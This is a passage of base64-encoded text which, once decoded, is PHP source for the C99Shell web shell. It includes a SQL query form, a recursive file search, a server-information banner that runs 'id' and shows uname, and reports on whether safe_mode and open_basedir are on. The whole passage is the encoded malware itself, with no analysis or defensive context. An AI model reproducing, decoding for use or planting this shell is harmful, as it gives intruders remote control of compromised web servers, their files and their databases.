ZXN1bHQgPSAiIjsKIGZvcmVhY2goJGFycmF5IGFzICRrPT4kdikKIHsKICAkdmFsdWUgPSAiIjsKICBpZiAoIWVtcHR5KCRmdW5jdHNbJGtdKSkgeyR2YWx1ZSAuPSAkZnVuY3RzWyRrXS4iKCI7fQogICR2YWx1ZSAuPSAiJyIuYWRkc2xhc2hlcygkdikuIiciOwogIGlmICghZW1wdHkoJGZ1bmN0c1ska10pKSB7JHZhbHVlIC49ICIpIjt9CiAgJHJlc3VsdCAuPSAiYCIuJGsuImAgPSAiLiR2YWx1ZS4kc2VwOwogfQogJHJlc3VsdCA9IHN1YnN0cigkcmVzdWx0LDAsc3RybGVuKCRyZXN1bHQpLXN0cmxlbigkc2VwKSk7CiByZXR1cm4gJHJlc3VsdDsKfQp9CmlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9mZXRjaF9hbGwiKSkKewpmdW5jdGlvbiBteXNxbF9mZXRjaF9hbGwoJHF1ZXJ5LCRzb2NrKQp7CiBpZiAoJHNvY2spIHskcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5LCRzb2NrKTt9CiBlbHNlIHskcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTt9CiAkYXJyYXkgPSBhcnJheSgpOwogd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgeyRhcnJheVtdID0gJHJvdzt9CiBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsKIHJldHVybiAkYXJyYXk7Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfc21hcnRlcnJvciIpKQp7CmZ1bmN0aW9uIG15c3FsX3NtYXJ0ZXJyb3IoJHR5cGUsJHNvY2spCnsKIGlmICgkc29jaykgeyRlcnJvciA9IG15c3FsX2Vycm9yKCRzb2NrKTt9CiBlbHNlIHskZXJyb3IgPSBteXNxbF9lcnJvcigpO30KICRlcnJvciA9IGh0bWxzcGVjaWFsY2hhcnMoJGVycm9yKTsKIHJldHVybiAkZXJyb3I7Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfcXVlcnlfZm9ybSIpKQp7CmZ1bmN0aW9uIG15c3FsX3F1ZXJ5X2Zvcm0oKQp7CiBnbG9iYWwgJHN1Ym1pdCwkc3FsX2FjdCwkc3FsX3F1ZXJ5LCRzcWxfcXVlcnlfcmVzdWx0LCRzcWxfY29uZmlybSwkc3FsX3F1ZXJ5X2Vycm9yLCR0Ymxfc3RydWN0OwogaWYgKCgkc3VibWl0KSBhbmQgKCEkc3FsX3F1ZXJ5X3Jlc3VsdCkgYW5kICgkc3FsX2NvbmZpcm0pKSB7aWYgKCEkc3FsX3F1ZXJ5X2Vycm9yKSB7JHNxbF9xdWVyeV9lcnJvciA9ICJRdWVyeSB3YXMgZW1wdHkiO30gZWNobyAiPGI+RXJyb3I6PC9iPiA8YnI+Ii4kc3FsX3F1ZXJ5X2Vycm9yLiI8YnI+Ijt9CiBpZiAoJHNxbF9xdWVyeV9yZXN1bHQgb3IgKCEkc3FsX2NvbmZpcm0pKSB7JHNxbF9hY3QgPSAkc3FsX2dvdG87fQogaWYgKCghJHN1Ym1pdCkgb3IgKCRzcWxfYWN0KSkKIHsKICBlY2hvICI8dGFibGUgYm9yZGVyPTA+PHRyPjx0ZD48Zm9ybSBuYW1lPVwiYzk5c2hfc3FscXVlcnlcIiBtZXRob2Q9UE9TVD48Yj4iOyBpZiAoKCRzcWxfcXVlcnkpIGFuZCAoISRzdWJtaXQpKSB7ZWNobyAiRG8geW91IHJlYWxseSB3YW50IHRvIjt9IGVsc2Uge2VjaG8gIlNRTC1RdWVyeSI7fSBlY2hvICI6PC9iPjxicj48YnI+PHRleHRhcmVhIG5hbWU9c3FsX3F1ZXJ5IGNvbHM9MTAwIHJvd3M9MTA+Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcXVlcnkpLiI8L3RleHRhcmVhPjxicj48YnI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPXNxbD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1zcWxfYWN0IHZhbHVlPXF1ZXJ5PjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXNxbF90YmwgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1zdWJtaXQgdmFsdWU9XCIxXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJzcWxfZ290b1wiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZ290bykuIlwiPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXNxbF9jb25maXJtIHZhbHVlPVwiWWVzXCI+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPVwiTm9cIj48L2Zvcm0+PC90ZD4iOwogIGlmICgkdGJsX3N0cnVjdCkKICB7CiAgIGVjaG8gIjx0ZCB2YWxpZ249XCJ0b3BcIj48Yj5GaWVsZHM6PC9iPjxicj4iOwogICBmb3JlYWNoICgkdGJsX3N0cnVjdCBhcyAkZmllbGQpIHskbmFtZSA9ICRmaWVsZFsiRmllbGQiXTsgZWNobyAiuyA8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC5jOTlzaF9zcWxxdWVyeS5zcWxfcXVlcnkudmFsdWUrPSdgIi4kbmFtZS4iYCc7XCI+PGI+Ii4kbmFtZS4iPC9iPjwvYT48YnI+Ijt9CiAgIGVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPiI7CiAgfQogfQogaWYgKCRzcWxfcXVlcnlfcmVzdWx0IG9yICghJHNxbF9jb25maXJtKSkgeyRzcWxfcXVlcnkgPSAkc3FsX2xhc3RfcXVlcnk7fQp9Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX2NyZWF0ZV9kYiIpKQp7CmZ1bmN0aW9uIG15c3FsX2NyZWF0ZV9kYigkZGIsJHNvY2s9IiIpCnsKICRzcWwgPSAiQ1JFQVRFIERBVEFCQVNFIGAiLmFkZHNsYXNoZXMoJGRiKS4iYDsiOwogaWYgKCRzb2NrKSB7cmV0dXJuIG15c3FsX3F1ZXJ5KCRzcWwsJHNvY2spO30KIGVsc2Uge3JldHVybiBteXNxbF9xdWVyeSgkc3FsKTt9Cn0KfQppZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfcXVlcnlfcGFyc2UiKSkKewpmdW5jdGlvbiBteXNxbF9xdWVyeV9wYXJzZSgkcXVlcnkpCnsKICRxdWVyeSA9IHRyaW0oJHF1ZXJ5KTsKICRhcnIgPSBleHBsb2RlICgiICIsJHF1ZXJ5KTsKIC8qYXJyYXkgYXJyYXkoKQogewogICJNRVRIT0QiPT5hcnJheShvdXRwdXRfdHlwZSksCiAgIk1FVEhPRDEiLi4uCiAgLi4uCiB9CiBpZiBvdXRwdXRfdHlwZSA9PSAwLCBubyBvdXRwdXQsCiBpZiBvdXRwdXRfdHlwZSA9PSAxLCBubyBvdXRwdXQgaWYgbm8gZXJyb3IKIGlmIG91dHB1dF90eXBlID09IDIsIG91dHB1dCB3aXRob3V0IGNvbnRyb2wtYnV0dG9ucwogaWYgb3V0cHV0X3R5cGUgPT0gMywgb3V0cHV0IHdpdGggY29udHJvbC1idXR0b25zCiAqLwogJHR5cGVzID0gYXJyYXkoCiAgIlNFTEVDVCI9PmFycmF5KDMsMSksCiAgIlNIT1ciPT5hcnJheSgyLDEpLAogICJERUxFVEUiPT5hcnJheSgxKSwKICAiRFJPUCI9PmFycmF5KDEpCiApOwogJHJlc3VsdCA9IGFycmF5KCk7CiAkb3AgPSBzdHJ0b3VwcGVyKCRhcnJbMF0pOwogaWYgKGlzX2FycmF5KCR0eXBlc1skb3BdKSkKIHsKICAkcmVzdWx0WyJwcm9wZXJ0aW9ucyJdID0gJHR5cGVzWyRvcF07CiAgJHJlc3VsdFsicXVlcnkiXSAgPSAkcXVlcnk7CiAgaWYgKCR0eXBlc1skb3BdID09IDIpCiAgewogICBmb3JlYWNoKCRhcnIgYXMgJGs9PiR2KQogICB7CiAgICBpZiAoc3RydG91cHBlcigkdikgPT0gIkxJTUlUIikKICAgIHsKICAgICAkcmVzdWx0WyJsaW1pdCJdID0gJGFyclskaysxXTsKICAgICAkcmVzdWx0WyJsaW1pdCJdID0gZXhwbG9kZSgiLCIsJHJlc3VsdFsibGltaXQiXSk7CiAgICAgaWYgKGNvdW50KCRyZXN1bHRbImxpbWl0Il0pID09IDEpIHskcmVzdWx0WyJsaW1pdCJdID0gYXJyYXkoMCwkcmVzdWx0WyJsaW1pdCJdWzBdKTt9CiAgICAgdW5zZXQoJGFyclska10sJGFyclskaysxXSk7CiAgICB9CiAgIH0KICB9CiB9CiBlbHNlIHtyZXR1cm4gRkFMU0U7fQp9Cn0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImM5OWZzZWFyY2giKSkKewpmdW5jdGlvbiBjOTlmc2VhcmNoKCRkKQp7CiBnbG9iYWwgJGZvdW5kOwogZ2xvYmFsICRmb3VuZF9kOwogZ2xvYmFsICRmb3VuZF9mOwogZ2xvYmFsICRzZWFyY2hfaV9mOwogZ2xvYmFsICRzZWFyY2hfaV9kOwogZ2xvYmFsICRhOwogaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQogJGggPSBvcGVuZGlyKCRkKTsKIHdoaWxlICgoJGYgPSByZWFkZGlyKCRoKSkgIT09IEZBTFNFKQogewogIGlmKCRmICE9ICIuIiAmJiAkZiAhPSAiLi4iKQogIHsKICAgJGJvb2wgPSAoZW1wdHkoJGFbIm5hbWVfcmVnZXhwIl0pIGFuZCBzdHJwb3MoJGYsJGFbIm5hbWUiXSkgIT09IEZBTFNFKSB8fCAoJGFbIm5hbWVfcmVnZXhwIl0gYW5kIGVyZWcoJGFbIm5hbWUiXSwkZikpOwogICBpZiAoaXNfZGlyKCRkLiRmKSkKICAgewogICAgJHNlYXJjaF9pX2QrKzsKICAgIGlmIChlbXB0eSgkYVsidGV4dCJdKSBhbmQgJGJvb2wpIHskZm91bmRbXSA9ICRkLiRmOyAkZm91bmRfZCsrO30KICAgIGlmICghaXNfbGluaygkZC4kZikpIHtjOTlmc2VhcmNoKCRkLiRmKTt9CiAgIH0KICAgZWxzZQogICB7CiAgICAkc2VhcmNoX2lfZisrOwogICAgaWYgKCRib29sKQogICAgewogICAgIGlmICghZW1wdHkoJGFbInRleHQiXSkpCiAgICAgewogICAgICAkciA9IEBmaWxlX2dldF9jb250ZW50cygkZC4kZik7CiAgICAgIGlmICgkYVsidGV4dF93d28iXSkgeyRhWyJ0ZXh0Il0gPSAiICIudHJpbSgkYVsidGV4dCJdKS4iICI7fQogICAgICBpZiAoISRhWyJ0ZXh0X2NzIl0pIHskYVsidGV4dCJdID0gc3RydG9sb3dlcigkYVsidGV4dCJdKTsgJHIgPSBzdHJ0b2xvd2VyKCRyKTt9CiAgICAgIGlmICgkYVsidGV4dF9yZWdleHAiXSkgeyRib29sID0gZXJlZygkYVsidGV4dCJdLCRyKTt9CiAgICAgIGVsc2UgeyRib29sID0gc3RycG9zKCIgIi4kciwkYVsidGV4dCJdLDEpO30KICAgICAgaWYgKCRhWyJ0ZXh0X25vdCJdKSB7JGJvb2wgPSAhJGJvb2w7fQogICAgICBpZiAoJGJvb2wpIHskZm91bmRbXSA9ICRkLiRmOyAkZm91bmRfZisrO30KICAgICB9CiAgICAgZWxzZSB7JGZvdW5kW10gPSAkZC4kZjsgJGZvdW5kX2YrKzt9CiAgICB9CiAgIH0KICB9CiB9CiBjbG9zZWRpcigkaCk7Cn0KfQppZiAoJGFjdCA9PSAiZ29maWxlIikge2lmIChpc19kaXIoJGYpKSB7JGFjdCA9ICJscyI7ICRkID0gJGY7fSBlbHNlIHskYWN0ID0gImYiOyAkZCA9IGRpcm5hbWUoJGYpOyAkZiA9IGJhc2VuYW1lKCRmKTt9fQovL1NlbmRpbmcgaGVhZGVycwpAb2Jfc3RhcnQoKTsKQG9iX2ltcGxpY2l0X2ZsdXNoKDApOwpmdW5jdGlvbiBvbnBocHNodXRkb3duKCkKewogZ2xvYmFsICRnemlwZW5jb2RlLCRmdDsKIGlmICghaGVhZGVyc19zZW50KCkgYW5kICRnemlwZW5jb2RlIGFuZCAhaW5fYXJyYXkoJGZ0LGFycmF5KCJpbWciLCJkb3dubG9hZCIsIm5vdGVwYWQiKSkpCiB7CiAgJHYgPSBAb2JfZ2V0X2NvbnRlbnRzKCk7CiAgQG9iX2VuZF9jbGVhbigpOwogIEBvYl9zdGFydCgib2JfZ3pIYW5kbGVyIik7CiAgZWNobyAkdjsKICBAb2JfZW5kX2ZsdXNoKCk7CiB9Cn0KZnVuY3Rpb24gYzk5c2hleGl0KCkKewogb25waHBzaHV0ZG93bigpOwogZXhpdDsKfQpoZWFkZXIoIkV4cGlyZXM6IE1vbiwgMjYgSnVsIDE5OTcgMDU6MDA6MDAgR01UIik7CmhlYWRlcigiTGFzdC1Nb2RpZmllZDogIi5nbWRhdGUoIkQsIGQgTSBZIEg6aTpzIikuIiBHTVQiKTsKaGVhZGVyKCJDYWNoZS1Db250cm9sOiBuby1zdG9yZSwgbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZSIpOwpoZWFkZXIoIkNhY2hlLUNvbnRyb2w6IHBvc3QtY2hlY2s9MCwgcHJlLWNoZWNrPTAiLCBGQUxTRSk7CmhlYWRlcigiUHJhZ21hOiBuby1jYWNoZSIpOwppZiAoZW1wdHkoJHRtcGRpcikpCnsKICR0bXBkaXIgPSBpbmlfZ2V0KCJ1cGxvYWRfdG1wX2RpciIpOwogaWYgKGlzX2RpcigkdG1wZGlyKSkgeyR0bXBkaXIgPSAiL3RtcC8iO30KfQokdG1wZGlyID0gcmVhbHBhdGgoJHRtcGRpcik7CiR0bXBkaXIgPSBzdHJfcmVwbGFjZSgiXFwiLERJUkVDVE9SWV9TRVBBUkFUT1IsJHRtcGRpcik7CmlmIChzdWJzdHIoJHRtcGRpciwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyR0bXBkaXIgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9CmlmIChlbXB0eSgkdG1wZGlyX2xvZ3MpKSB7JHRtcGRpcl9sb2dzID0gJHRtcGRpcjt9CmVsc2UgeyR0bXBkaXJfbG9ncyA9IHJlYWxwYXRoKCR0bXBkaXJfbG9ncyk7fQppZiAoQGluaV9nZXQoInNhZmVfbW9kZSIpIG9yIHN0cnRvbG93ZXIoQGluaV9nZXQoInNhZmVfbW9kZSIpKSA9PSAib24iKQp7CiAkc2FmZW1vZGUgPSBUUlVFOwogJGhzYWZlbW9kZSA9ICI8Zm9udCBjb2xvcj1yZWQ+T04gKHNlY3VyZSk8L2ZvbnQ+IjsKfQplbHNlIHskc2FmZW1vZGUgPSBGQUxTRTsgJGhzYWZlbW9kZSA9ICI8Zm9udCBjb2xvcj1ncmVlbj5PRkYgKG5vdCBzZWN1cmUpPC9mb250PiI7fQokdiA9IEBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTsKaWYgKCR2IG9yIHN0cnRvbG93ZXIoJHYpID09ICJvbiIpIHskb3BlbmJhc2VkaXIgPSBUUlVFOyAkaG9wZW5iYXNlZGlyID0gIjxmb250IGNvbG9yPXJlZD4iLiR2LiI8L2ZvbnQ+Ijt9CmVsc2UgeyRvcGVuYmFzZWRpciA9IEZBTFNFOyAkaG9wZW5iYXNlZGlyID0gIjxmb250IGNvbG9yPWdyZWVuPk9GRiAobm90IHNlY3VyZSk8L2ZvbnQ+Ijt9CiRzb3J0ID0gaHRtbHNwZWNpYWxjaGFycygkc29ydCk7CmlmIChlbXB0eSgkc29ydCkpIHskc29ydCA9ICRzb3J0X2RlZmF1bHQ7fQokc29ydFsxXSA9IHN0cnRvbG93ZXIoJHNvcnRbMV0pOwokRElTUF9TRVJWRVJfU09GVFdBUkUgPSBnZXRlbnYoIlNFUlZFUl9TT0ZUV0FSRSIpOwppZiAoIWVyZWcoIlBIUC8iLnBocHZlcnNpb24oKSwkRElTUF9TRVJWRVJfU09GVFdBUkUpKSB7JERJU1BfU0VSVkVSX1NPRlRXQVJFIC49ICIuIFBIUC8iLnBocHZlcnNpb24oKTt9CiRESVNQX1NFUlZFUl9TT0ZUV0FSRSA9IHN0cl9yZXBsYWNlKCJQSFAvIi5waHB2ZXJzaW9uKCksIjxhIGhyZWY9XCIiLiRzdXJsLiJhY3Q9cGhwaW5mb1wiIHRhcmdldD1cIl9ibGFua1wiPjxiPjx1PlBIUC8iLnBocHZlcnNpb24oKS4iPC91PjwvYj48L2E+IixodG1sc3BlY2lhbGNoYXJzKCRESVNQX1NFUlZFUl9TT0ZUV0FSRSkpOwpAaW5pX3NldCgiaGlnaGxpZ2h0LmJnIiwkaGlnaGxpZ2h0X2JnKTsgLy9GRkZGRkYKQGluaV9zZXQoImhpZ2hsaWdodC5jb21tZW50IiwkaGlnaGxpZ2h0X2NvbW1lbnQpOyAvLyNGRjgwMDAKQGluaV9zZXQoImhpZ2hsaWdodC5kZWZhdWx0IiwkaGlnaGxpZ2h0X2RlZmF1bHQpOyAvLyMwMDAwQkIKQGluaV9zZXQoImhpZ2hsaWdodC5odG1sIiwkaGlnaGxpZ2h0X2h0bWwpOyAvLyMwMDAwMDAKQGluaV9zZXQoImhpZ2hsaWdodC5rZXl3b3JkIiwkaGlnaGxpZ2h0X2tleXdvcmQpOyAvLyMwMDc3MDAKQGluaV9zZXQoImhpZ2hsaWdodC5zdHJpbmciLCRoaWdobGlnaHRfc3RyaW5nKTsgLy8jREQwMDAwCmlmICghaXNfYXJyYXkoJGFjdGJveCkpIHskYWN0Ym94ID0gYXJyYXkoKTt9CiRkc3BhY3QgPSAkYWN0ID0gaHRtbHNwZWNpYWxjaGFycygkYWN0KTsKJGRpc3BfZnVsbHBhdGggPSAkbHNfYXJyID0gJG5vdGxzID0gbnVsbDsKJHVkID0gdXJsZW5jb2RlKCRkKTsKPz48aHRtbD48aGVhZD48bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNldD13aW5kb3dzLTEyNTEiPjxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtTGFuZ3VhZ2UiIGNvbnRlbnQ9ImVuLXVzIj48dGl0bGU+PD9waHAgZWNobyBnZXRlbnYoIkhUVFBfSE9TVCIpOyA/PiAtIHBocHNoZWxsPC90aXRsZT48U1RZTEU+VEQgeyBGT05ULVNJWkU6IDhwdDsgQ09MT1I6ICNlYmViZWI7IEZPTlQtRkFNSUxZOiB2ZXJkYW5hO31CT0RZIHsgc2Nyb2xsYmFyLWZhY2UtY29sb3I6ICM4MDAwMDA7IHNjcm9sbGJhci1zaGFkb3ctY29sb3I6ICMxMDEwMTA7IHNjcm9sbGJhci1oaWdobGlnaHQtY29sb3I6ICMxMDEwMTA7IHNjcm9sbGJhci0zZGxpZ2h0LWNvbG9yOiAjMTAxMDEwOyBzY3JvbGxiYXItZGFya3NoYWRvdy1jb2xvcjogIzEwMTAxMDsgc2Nyb2xsYmFyLXRyYWNrLWNvbG9yOiAjMTAxMDEwOyBzY3JvbGxiYXItYXJyb3ctY29sb3I6ICMxMDEwMTA7IGZvbnQtZmFtaWx5OiBWZXJkYW5hO31URC5oZWFkZXIgeyBGT05ULVdFSUdIVDogbm9ybWFsOyBGT05ULVNJWkU6IDEwcHQ7IEJBQ0tHUk9VTkQ6ICM3ZDc0NzQ7IENPTE9SOiB3aGl0ZTsgRk9OVC1GQU1JTFk6IHZlcmRhbmE7fUEgeyBGT05ULVdFSUdIVDogbm9ybWFsOyBDT0xPUjogI2RhZGFkYTsgRk9OVC1GQU1JTFk6IHZlcmRhbmE7IFRFWFQtREVDT1JBVElPTjogbm9uZTt9QTp1bmtub3duIHsgRk9OVC1XRUlHSFQ6IG5vcm1hbDsgQ09MT1I6ICNmZmZmZmY7IEZPTlQtRkFNSUxZOiB2ZXJkYW5hOyBURVhULURFQ09SQVRJT046IG5vbmU7fUEuTGlua3MgeyBDT0xPUjogI2ZmZmZmZjsgVEVYVC1ERUNPUkFUSU9OOiBub25lO31BLkxpbmtzOnVua25vd24geyBGT05ULVdFSUdIVDogbm9ybWFsOyBDT0xPUjogI2ZmZmZmZjsgVEVYVC1ERUNPUkFUSU9OOiBub25lO31BOmhvdmVyIHsgQ09MT1I6ICNmZmZmZmY7IFRFWFQtREVDT1JBVElPTjogdW5kZXJsaW5lO30uc2tpbjB7cG9zaXRpb246YWJzb2x1dGU7IHdpZHRoOjIwMHB4OyBib3JkZXI6MnB4IHNvbGlkIGJsYWNrOyBiYWNrZ3JvdW5kLWNvbG9yOm1lbnU7IGZvbnQtZmFtaWx5OlZlcmRhbmE7IGxpbmUtaGVpZ2h0OjIwcHg7IGN1cnNvcjpkZWZhdWx0OyB2aXNpYmlsaXR5OmhpZGRlbjs7fS5za2luMXtjdXJzb3I6IGRlZmF1bHQ7IGZvbnQ6IG1lbnV0ZXh0OyBwb3NpdGlvbjogYWJzb2x1dGU7IHdpZHRoOiAxNDVweDsgYmFja2dyb3VuZC1jb2xvcjogbWVudTsgYm9yZGVyOiAxIHNvbGlkIGJ1dHRvbmZhY2U7dmlzaWJpbGl0eTpoaWRkZW47IGJvcmRlcjogMiBvdXRzZXQgYnV0dG9uaGlnaGxpZ2h0OyBmb250LWZhbWlseTogVmVyZGFuYSxHZW5ldmEsIEFyaWFsOyBmb250LXNpemU6IDEwcHg7IGNvbG9yOiBibGFjazt9Lm1lbnVpdGVtc3twYWRkaW5nLWxlZnQ6MTVweDsgcGFkZGluZy1yaWdodDoxMHB4Ozt9aW5wdXR7YmFja2dyb3VuZC1jb2xvcjogIzgwMDAwMDsgZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjRkZGRkZGOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDEgc29saWQgIzY2NjY2Njt9dGV4dGFyZWF7YmFja2dyb3VuZC1jb2xvcjogIzgwMDAwMDsgZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjRkZGRkZGOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDEgc29saWQgIzY2NjY2Njt9YnV0dG9ue2JhY2tncm91bmQtY29sb3I6ICM4MDAwMDA7IGZvbnQtc2l6ZTogOHB0OyBjb2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2NjY7fXNlbGVjdHtiYWNrZ3JvdW5kLWNvbG9yOiAjODAwMDAwOyBmb250LXNpemU6IDhwdDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMSBzb2xpZCAjNjY2NjY2O31vcHRpb24ge2JhY2tncm91bmQtY29sb3I6ICM4MDAwMDA7IGZvbnQtc2l6ZTogOHB0OyBjb2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2NjY7fWlmcmFtZSB7YmFja2dyb3VuZC1jb2xvcjogIzgwMDAwMDsgZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjRkZGRkZGOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDEgc29saWQgIzY2NjY2Njt9cCB7TUFSR0lOLVRPUDogMHB4OyBNQVJHSU4tQk9UVE9NOiAwcHg7IExJTkUtSEVJR0hUOiAxNTAlfWJsb2NrcXVvdGV7IGZvbnQtc2l6ZTogOHB0OyBmb250LWZhbWlseTogQ291cmllciwgRml4ZWQsIEFyaWFsOyBib3JkZXIgOiA4cHggc29saWQgI0E5QTlBOTsgcGFkZGluZzogMWVtOyBtYXJnaW4tdG9wOiAxZW07IG1hcmdpbi1ib3R0b206IDVlbTsgbWFyZ2luLXJpZ2h0OiAzZW07IG1hcmdpbi1sZWZ0OiA0ZW07IGJhY2tncm91bmQtY29sb3I6ICNCN0IyQjA7fWJvZHksdGQsdGggeyBmb250LWZhbWlseTogdmVyZGFuYTsgY29sb3I6ICNkOWQ5ZDk7IGZvbnQtc2l6ZTogMTFweDt9Ym9keSB7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7fTwvc3R5bGU+PC9oZWFkPjxCT0RZIHRleHQ9I2ZmZmZmZiBib3R0b21NYXJnaW49MCBiZ0NvbG9yPSMwMDAwMDAgbGVmdE1hcmdpbj0wIHRvcE1hcmdpbj0wIHJpZ2h0TWFyZ2luPTAgbWFyZ2luaGVpZ2h0PTAgbWFyZ2lud2lkdGg9MD48Y2VudGVyPjxUQUJMRSBzdHlsZT0iQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZSIgaGVpZ2h0PTEgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IHdpZHRoPSIxMDAlIiBiZ0NvbG9yPSMzMzMzMzMgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xIGJvcmRlcmNvbG9yPSIjQzBDMEMwIj48dHI+PHRoIHdpZHRoPSIxMDElIiBoZWlnaHQ9IjE1IiBub3dyYXAgYm9yZGVyY29sb3I9IiNDMEMwQzAiIHZhbGlnbj0idG9wIiBjb2xzcGFuPSIyIj48cD48Zm9udCBmYWNlPVdlYmRpbmdzIHNpemU9Nj48Yj4hPC9iPjwvZm9udD48YSBocmVmPSI8P3BocCBlY2hvICRzdXJsOyA/PiI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iNSI+PGI+Qzk5U2hlbGwgdi4gPD9waHAgZWNobyAkc2h2ZXI7ID8+PC9iPjwvZm9udD48L2E+PGZvbnQgZmFjZT1XZWJkaW5ncyBzaXplPTY+PGI+ITwvYj48L2ZvbnQ+PC9wPjwvY2VudGVyPjwvdGg+PC90cj48dHI+PHRkPjxwIGFsaWduPSJsZWZ0Ij48Yj5Tb2Z0d2FyZTombmJzcDs8P3BocCBlY2hvICRESVNQX1NFUlZFUl9TT0ZUV0FSRTsgPz48L2I+Jm5ic3A7PC9wPjxwIGFsaWduPSJsZWZ0Ij48Yj51bmFtZSAtYTombmJzcDs8P3BocCBlY2hvIHdvcmR3cmFwKHBocF91bmFtZSgpLDkwLCI8YnI+IiwxKTsgPz48L2I+Jm5ic3A7PC9wPjxwIGFsaWduPSJsZWZ0Ij48Yj48P3BocCBpZiAoISR3aW4pIHtlY2hvIHdvcmR3cmFwKG15c2hlbGxleGVjKCJpZCIpLDkwLCI8YnI+IiwxKTt9IGVsc2Uge2VjaG8gZ2V0X2N1cnJlbnRfdXNlcigpO30gPz48L2I+Jm5ic3A7PC9wPjxwIGFsaWduPSJsZWZ0Ij48Yj5TYWZlLW1vZGU6Jm5ic3A7PD9waHAgZWNobyAkaHNhZmVtb2RlOyA/PjwvYj48L3A+PHAgYWxpZ249ImxlZnQiPjw/cGhwCiRkID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCRkKTsKaWYgKGVtcHR5KCRkKSkgeyRkID0gcmVhbHBhdGgoIi4iKTt9IGVsc2VpZihyZWFscGF0aCgkZCkpIHskZCA9IHJlYWxwYXRoKCRkKTt9CiRkID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCRkKTsKaWYgKHN1YnN0cigkZCwtMSkgIT0gRElSRUNUT1JZX1NFUEFSQVRPUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQokZCA9IHN0cl9yZXBsYWNlKCJcXFxcIiwiXFwiLCRkKTsKJGRpc3BkID0gaHRtbHNwZWNpYWxjaGFycygkZCk7CiRwZCA9ICRlID0gZXhwbG9kZShESVJFQ1RPUllfU0VQQVJBVE9SLHN1YnN0cigkZCwwLC0xKSk7CiRpID0gMDsKZm9yZWFjaCgkcGQgYXMgJGIpCnsKICR0ID0gIiI7CiAkaiA9IDA7CiBmb3JlYWNoICgkZSBhcyAkcikKIHsKICAkdC49ICRyLkRJUkVDVE9SWV9TRVBBUkFUT1I7CiAgaWYgKCRqID09ICRpKSB7YnJlYWs7fQogICRqKys7CiB9CiBlY2hvICI8YSBocmVmPVwiIi4kc3VybC4iYWN0PWxzJmQ9Ii51cmxlbmNvZGUoJHQpLiImc29ydD0iLiRzb3J0LiJcIj48Yj4iLmh0bWxzcGVjaWFsY2hhcnMoJGIpLkRJUkVDVE9SWV9TRVBBUkFUT1IuIjwvYj48L2E+IjsKICRpKys7Cn0KZWNobyAiJm5ic3A7Jm5ic3A7Jm5ic3A7IjsKaWYgKGlzX3dyaXRhYmxlKCRkKSkKewogJHdkID0gVFJVRTsKICR3ZHQgPSAiPGZvbnQgY29sb3I9Z3JlZW4+WyBvayBdPC9mb250PiI7CiBlY2hvICI8Yj48Zm9udCBjb2xvcj1ncmVlbj4iLnZpZXdfcGVybXMoZmlsZXBlcm1zKCRkKSkuIjwvZm9udD48L2I+IjsKfQplbHNlCnsKICR3ZCA9IEZBTFNFOwogJHdkdCA9ICI8Zm9udCBjb2xvcj1yZWQ+WyBSZWFkLU9ubHkgXTwvZm9udD4iOwogZWNobyAiPGI+Ii52aWV3X3Blcm1zX2NvbG9yKCRkKS4iPC9iPiI7Cn0KaWYgKGlzX2NhbGxhYmxlKCJkaXN